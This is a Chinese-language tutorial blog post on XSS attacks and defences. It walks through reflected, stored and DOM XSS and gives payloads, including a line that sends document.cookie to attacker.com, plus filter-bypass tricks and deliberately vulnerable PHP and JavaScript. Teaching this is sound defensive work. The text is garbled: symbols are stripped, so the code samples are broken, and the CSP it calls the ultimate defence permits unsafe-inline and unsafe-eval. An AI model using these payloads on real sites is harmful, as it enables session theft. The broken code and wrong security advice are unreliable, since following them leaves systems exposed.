1. XSS跨站脚本攻击的本质想象一下你在论坛发帖时输入了一段JavaScript代码而网站竟然原封不动地把这段代码显示给其他用户——当别人浏览这个帖子时你的代码就在他们浏览器里悄悄执行了。这就是XSSCross-Site Scripting攻击的核心原理让恶意脚本在受害者的浏览器里“跨站”运行。我曾在一次安全审计中发现某电商平台的商品评论区存在存储型XSS漏洞。攻击者只需在评论中插入scriptfetch(https://attacker.com/steal?cookiedocument.cookie)/script当其他用户浏览该商品时他们的登录凭证就会自动发送到攻击者服务器。更可怕的是这种攻击完全不需要受害者点击任何链接。2. XSS的三种攻击形态2.1 反射型XSS钓鱼链接的陷阱反射型XSS就像网络世界的毒包裹。攻击者构造一个特殊链接https://vulnerable-site.com/search?qscriptalert(1)/script当用户点击这个链接时服务器将恶意脚本反射回页面执行。去年某政府网站就因此中招攻击者通过伪造疫情补贴申请的钓鱼邮件传播恶意链接。2.2 存储型XSS潜伏的定时炸弹存储型XSS的危害更大我在审计某CMS系统时曾复现过这样的场景// 漏洞代码示例 $comment $_POST[comment]; mysql_query(INSERT INTO comments VALUES ($comment));攻击者在留言板提交恶意评论后所有访问该页面的用户都会触发攻击。2023年某社交平台就因这类漏洞导致百万用户数据泄露。2.3 DOM型XSS前端的安全盲区这种XSS完全在浏览器端发生不需要服务器参与。例如// 漏洞代码 let hash location.hash.substring(1); document.write(Welcome hash);如果用户访问example.com#img srcx onerroralert(1)就会触发XSS。现代单页应用(SPA)尤其需要防范这类漏洞。3. 实战中的XSS攻击手段3.1 经典攻击载荷剖析除了常见的script标签攻击者还会使用这些方式绕过过滤!-- 利用图片标签 -- img srcx onerroralert(1) !-- 伪协议注入 -- a hrefjavascript:alert(1)点击领奖/a !-- SVG矢量图攻击 -- svg onloadalert(1)3.2 高级绕过技巧在某次渗透测试中我遇到过滤了script但允许HTML5特性的情况成功用以下方式绕过video posterjavascript:alert(1)其他常见绕过手段包括Unicode编码\u003cscript\u003e注释干扰scr!--test--ipt大小写混用ScRiPt4. 构建全方位防御体系4.1 输入输出双保险防御XSS需要多层防护// 前端过滤示例仅辅助防御 function sanitize(input) { return input.replace(//g, lt;).replace(//g, gt;); } // 后端防护PHP示例 $clean htmlspecialchars($input, ENT_QUOTES, UTF-8);4.2 内容安全策略(CSP)CSP是终极防御武器配置示例Content-Security-Policy: default-src self; script-src unsafe-inline unsafe-eval; img-src https://*; child-src none;4.3 现代框架的防护机制以Vue为例其自动转义机制能防御大部分XSS// 安全写法 template div{{ userInput }}/div /template // 危险写法避免使用v-html div v-htmluserInput/div5. 企业级防护实践在某金融项目中的实战经验在Nginx层添加全局过滤location / { set $xss ; if ($request_uri ~* script) { set $xss 1; } if ($xss 1) { return 403; } }定期使用XSStrike等工具进行扫描关键Cookie设置HttpOnly和Secure属性6. 开发者自查清单每次代码审查时我都会检查这些点所有动态内容输出是否经过编码是否避免使用innerHTML等危险APICSP策略是否足够严格第三方组件是否经过安全评估是否定期更新XSS过滤规则记得有次修复了一个看似无害的漏洞某API响应头缺少X-Content-Type-Options导致浏览器可能误解析响应为HTML。安全无小事每个细节都值得关注。